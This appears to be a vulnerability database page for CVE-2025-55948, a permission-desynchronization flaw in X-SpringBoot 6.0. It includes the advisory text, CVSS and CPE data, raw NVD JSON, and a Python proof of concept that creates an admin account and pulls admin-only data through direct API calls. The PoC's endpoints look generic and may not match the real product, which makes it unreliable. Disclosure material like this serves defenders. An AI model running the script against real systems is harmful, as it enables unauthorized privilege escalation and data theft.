Security Vulnerability Report
中文
CVE-2025-55948 CVSS 7.3 HIGH

CVE-2025-55948

Published: 2025-12-04 21:16:09
Last Modified: 2025-12-23 00:19:47

Description

This vulnerability fundamentally arises from yzcheng90 X-SpringBoot 6.0's implementation of role-based access control (RBAC) through dual dependency on frontend menu systems and backend permission tables, without enforcing atomic synchronization between these components. The critical flaw manifests when frontend menu updates (such as privilege revocation) fail to propagate to the backend permission table in real-time, creating a dangerous desynchronization. While users lose access to restricted functions through the web interface (as UI elements properly disappear), the stale permission records still validate unauthorized API requests when accessed directly through tools like Postman. Attackers exploiting this inconsistency can perform privileged operations including but not limited to: creating high-permission user accounts, accessing sensitive data beyond their clearance level, and executing admin-level commands.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:yzcheng90:x-springboot:6.0:*:*:*:*:*:*:* - VULNERABLE
yzcheng90 X-SpringBoot 6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55948 PoC - X-SpringBoot RBAC权限绕过 # This PoC demonstrates how to bypass frontend permission controls # by directly calling API endpoints import requests import json TARGET_URL = "http://target-server:8080" def exploit_privilege_escalation(): """ Exploit the RBAC bypass to create an admin user """ # Step 1: Register a low-privilege user register_url = f"{TARGET_URL}/api/user/register" register_data = { "username": "attacker_user", "password": "Attacker123!", "email": "[email protected]" } response = requests.post(register_url, json=register_data) print(f"[+] User registration: {response.status_code}") # Step 2: Login to get session token login_url = f"{TARGET_URL}/api/user/login" login_data = { "username": "attacker_user", "password": "Attacker123!" } session = requests.Session() response = session.post(login_url, json=login_data) print(f"[+] Login status: {response.status_code}") # Step 3: The vulnerability - directly call admin API # Even though frontend menu doesn't show admin functions, # the backend permission table is not synchronized admin_create_url = f"{TARGET_URL}/api/admin/user/create" admin_payload = { "username": "malicious_admin", "password": "H4ck3d!2025", "role": "ADMIN", "email": "[email protected]" } # This request bypasses frontend permission check response = session.post(admin_create_url, json=admin_payload) if response.status_code == 200: print("[+] SUCCESS: Admin account created via API bypass!") print(f"[+] Created admin: malicious_admin / H4ck3d!2025") else: print(f"[-] Request failed: {response.status_code}") print(f"[-] Response: {response.text}") def access_sensitive_data(): """ Access sensitive data beyond user's clearance level """ # After login with low-privilege account session = requests.Session() session.post(f"{TARGET_URL}/api/user/login", json={"username": "low_priv_user", "password": "pass"}) # Directly access admin-only data endpoints sensitive_endpoints = [ "/api/admin/users/list", "/api/admin/system/config", "/api/admin/logs/all", "/api/admin/permissions/all" ] for endpoint in sensitive_endpoints: response = session.get(f"{TARGET_URL}{endpoint}") if response.status_code == 200: print(f"[+] Leaked data from {endpoint}") print(response.json()) if __name__ == "__main__": print("CVE-2025-55948 - X-SpringBoot RBAC Bypass PoC") print("=" * 50) exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55948", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:08.687", "lastModified": "2025-12-23T00:19:47.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability fundamentally arises from yzcheng90 X-SpringBoot 6.0's implementation of role-based access control (RBAC) through dual dependency on frontend menu systems and backend permission tables, without enforcing atomic synchronization between these components. The critical flaw manifests when frontend menu updates (such as privilege revocation) fail to propagate to the backend permission table in real-time, creating a dangerous desynchronization. While users lose access to restricted functions through the web interface (as UI elements properly disappear), the stale permission records still validate unauthorized API requests when accessed directly through tools like Postman. Attackers exploiting this inconsistency can perform privileged operations including but not limited to: creating high-permission user accounts, accessing sensitive data beyond their clearance level, and executing admin-level commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yzcheng90:x-springboot:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "6BE4117F-12A7-455D-ADC0-25FDE9CBB7C8"}]}]}], "references": [{"url": "https://github.com/liuchengjie01/vuln_db/blob/master/x-springboot3x-vul/x-springboot3x-vul.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/yzcheng90/X-SpringBoot", "source": "[email protected]", "tags": ["Product"]}]}}